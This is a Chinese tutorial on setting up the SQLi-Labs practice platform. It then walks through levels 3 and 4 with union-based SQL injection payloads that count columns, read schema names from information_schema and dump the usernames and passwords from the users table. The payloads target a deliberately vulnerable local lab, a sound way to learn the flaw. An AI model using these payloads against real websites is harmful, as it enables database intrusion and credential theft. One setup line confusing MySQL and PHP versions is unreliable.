文章目录
前言
我们在刚学习 SQL 注入的时候,往往都需要一个能 SQL 注入的网站进行 SQL 注入学习。如果直接去网上寻找存在 SQL 注入的网站对新手来说有些难度,因此我们一般都是在本地搭建一个能 SQL 注入测试的网站。
这里就来讲解一下 SQLi-Labs 的下载,安装,搭建教程。
注意: mysql 版本一定要设置成 php5 以上,php5 以上才有 information_schema 库。
一、sqls-labs是什么?
SQLi-Labs 是一个专业的 SQL 注入练习平台,它适用于 GET 和 POST 等多场景的注入。
二、windows环境安装
使用 phpStudy 这个软件一键安装,方便快捷。
创建好后重新启动一下小皮。
三、修改配置文件
修改 \sqli\sql-connections 目录下的 db-creds.inc 文件内容,将数据库默认的信息修改为自己数据库的信息
主要是修改 dbpass 的内容,小皮的 Windows 版中默认为 root,所以这里直接添加root,如果使用其他环境则根据具体环境修改即可。
四、访问sqls-labs,并点击「Setup/reset Database for labs」来初始化创建数据库
如果出现这个界面,就表名sqls-labs配置成功
五、注入第三关lees3
1.在URL框输入?id=1\能得到闭合符号为’)。
2.依次输入?id=1’) order by 7 – -
?id=1’) order by 4 – -
?id=1’) order by 3 – -
可以得到只有3列数据
3.输入?id=-1’) union select 1,2,3 – -
只显示了2,3,说明只有2和3可以当注入口。
4.输入?id=-1’) union select 1,database(),version() – -
爆出数据库版本为5.7.26,数据库名为security。
5.输入?id=-1’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ – -
爆出了security库的四个表:emails、referers、uagents、users
6.根据第五步得到的信息,可以大致推测到敏感信息位于users表。接下来输入:?id=-1’) union select 1,2,group_concat(column_name) from information_schema.columns where columns.table_schema=‘security’ and columns.table_name=‘users’ – -
爆出user的三个列:id、username、password
7.根据第6部得到的信息,就可以知道了用户名和密码位于user表下的username和password列。
输入:?id=-1’) union select 1,group_concat(username),group_concat(password) from users – -
爆出了敏感数据
六、注入第四关less4
1.同理,输入:?id=1\ 使用转义符号\爆出闭合符号为")
2.输入:?id=1") order by 3 – -
得出只有三列数据
3.输入:?id=-1") union select 1,2,3 – -
只显示了2,3,说明只有2和3可以当注入口。
4.输入?id=-1") union select 1,database(),version() – -
爆出数据库版本为5.7.26,数据库名为security。
5.输入?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ – -
爆出了security库的四个表:emails、referers、uagents、users
6…根据第五步得到的信息,可以大致推测到敏感信息位于users表。接下来输入:?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where columns.table_schema=‘security’ and columns.table_name=‘users’ – -
爆出user的三个列:id、username、password
7.根据第6部得到的信息,就可以知道了用户名和密码位于user表下的username和password列。
输入:?id=-1") union select 1,group_concat(username),group_concat(password) from users – -
爆出了敏感数据